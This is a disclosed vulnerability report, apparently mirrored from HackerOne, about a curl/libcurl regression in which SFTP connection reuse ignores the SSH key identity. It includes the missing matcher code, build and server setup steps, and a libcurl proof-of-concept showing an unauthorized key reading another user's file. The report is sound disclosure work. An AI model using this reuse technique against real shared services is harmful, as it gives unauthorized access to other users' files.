HexBrain

curl · Report #3788506

SSH/SFTP connection reuse can bypass SSH key identity after ssh_config_matches removal

Informativestatus
highseverity
30upvotes
9 Jun 2026disclosed

How it was found

Summary:

libcurl's SSH/SFTP connection reuse logic no longer binds a pooled SSH connection to the SSH key identity requested by the new transfer. After ssh_config_matches was removed, url_match_proto_config() again has no SSH-specific check for CURLOPT_SSH_PUBLIC_KEYFILE or CURLOPT_SSH_PRIVATE_KEYFILE. An application can first open an SFTP connection with an authorized key and then perform a second SFTP transfer configured with an unauthorized key; the second transfer can reuse the already-authenticated SSH session and access data as the first key. This is the same bug class as CVE-2022-27782 and CVE-2023-27538, but the current code has reintroduced the missing SSH auth-context comparison. The issue is connection-cache authentication-context confusion, not denial of service.

The vulnerable matcher currently checks HTTP and FTP protocol configuration, but there is no SSH branch:

static bool url_match_proto_config(struct connectdata *conn,
                                   struct url_conn_match *m)
{
  if(!url_match_http_version(conn, m))
    return FALSE;

#ifndef CURL_DISABLE_FTP
  else if(get_protocol_family(m->needle->scheme) & PROTO_FAMILY_FTP) {
    if(!ftp_conns_match(m->needle, conn))
      return FALSE;
  }
#endif
  return TRUE;
}

The removed check was the only SSH-specific reuse guard:

-  if(get_protocol_family(m->needle->scheme) & PROTO_FAMILY_SSH) {
-    if(!ssh_config_matches(m->needle, conn))
-      return FALSE;
-  }

The key options are still per-transfer inputs and are used during SSH authentication:

case CURLOPT_SSH_PRIVATE_KEYFILE:
  return Curl_setstropt(&s->str[STRING_SSH_PRIVATE_KEY], ptr);
libssh2_userauth_publickey_fromfile_ex(sshc->ssh_session,
                                       user,
                                       curlx_uztoui(strlen(user)),
                                       sshc->rsa_pub,
                                       sshc->rsa,
                                       sshc->passphrase);

The problem is that a later transfer with different key files can be matched to the already-authenticated connection before a new SSH authentication happens.

Affected version

Test target: curl/libcurl source checkout 7b9613fa9b on Linux, built with libssh2/SFTP support.

Example expected feature output:

curl 8.x.x-DEV (...) libcurl/8.x.x-DEV ... libssh2/...
Protocols: ... scp sftp ...
Features: ... SSL ...

The relevant public history is:

CVE-2022-27782: TLS and SSH connection too eager reuse
CVE-2023-27538: SSH connection too eager reuse still
Regression point: 3e9817cd1b url: remove ssh_config_matches

Steps To Reproduce:

  1. Build curl from the affected source with libssh2/SFTP support.
./buildconf
./configure --with-libssh2 --with-gnutls --without-openssl
make -j"$(nproc)"
  1. Start a local SSH/SFTP server with one account, user_a, and put only user_a_key.pub in user_a's authorized_keys.
ssh-keygen -t ed25519 -f user_a_key -N ""
ssh-keygen -t ed25519 -f unauthorized_key -N ""
install -d -m 700 ~user_a/.ssh
cp user_a_key.pub ~user_a/.ssh/authorized_keys
echo "user_a_secret_data" > ~user_a/secret.txt
chmod 600 ~user_a/secret.txt
  1. Run a libcurl client that performs three SFTP transfers. The important part is that the first two transfers share CURL_LOCK_DATA_CONNECT, while the third transfer uses a fresh cache as the control.
CURLSH *share = curl_share_init();
curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_CONNECT);

/* Step 1: authorized key succeeds and leaves an authenticated SSH session in the pool */
sftp_get(share, "sftp://[email protected]/~/secret.txt",
         "user_a_key", "user_a_key.pub");

/* Step 2: unauthorized key should fail, but succeeds if it reuses step 1's session */
sftp_get(share, "sftp://[email protected]/~/secret.txt",
         "unauthorized_key", "unauthorized_key.pub");

/* Step 3: same unauthorized key with a fresh cache must be denied */
CURLSH *fresh = curl_share_init();
sftp_get(fresh, "sftp://[email protected]/~/secret.txt",
         "unauthorized_key", "unauthorized_key.pub");

The sftp_get() helper only sets the URL, CURLOPT_SHARE, CURLOPT_SSH_PRIVATE_KEYFILE, CURLOPT_SSH_PUBLIC_KEYFILE, and a write callback:

curl_easy_setopt(c, CURLOPT_URL, url);
curl_easy_setopt(c, CURLOPT_SHARE, share);
curl_easy_setopt(c, CURLOPT_SSH_PRIVATE_KEYFILE, key_priv);
curl_easy_setopt(c, CURLOPT_SSH_PUBLIC_KEYFILE, key_pub);
curl_easy_setopt(c, CURLOPT_WRITEFUNCTION, write_cb);
  1. Vulnerable output:
--- Step 1: authorized key reads user_a's secret ---
  OK: "user_a_secret_data"

--- Step 2: UNAUTHORIZED key reads user_a's secret (shared cache) ---
  SUCCEEDED: "user_a_secret_data"

--- Step 3 (control): UNAUTHORIZED key, FRESH cache ---
  DENIED (expected): CURLE_LOGIN_DENIED

VULNERABILITY CONFIRMED

The control proves the unauthorized key is not accepted by the SSH server. It only succeeds in Step 2 because libcurl reuses the SSH session authenticated by the authorized key.

Impact

Summary:

Applications that use libcurl's shared connection cache for SFTP/SCP can silently perform a transfer under the wrong SSH identity. A lower-privileged user, tenant, or job that controls one request can ride an existing pooled SSH session authenticated with a different key and read or write resources that its own key cannot access. This is especially relevant for backend services, CI/CD systems, deployment tools, backup systems, and multi-tenant file-transfer services that reuse libcurl handles or share connection caches for performance. The impact is unauthorized file access and authentication-context confusion, not only a local application bug, because the server sees the reused authenticated SSH session as valid.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original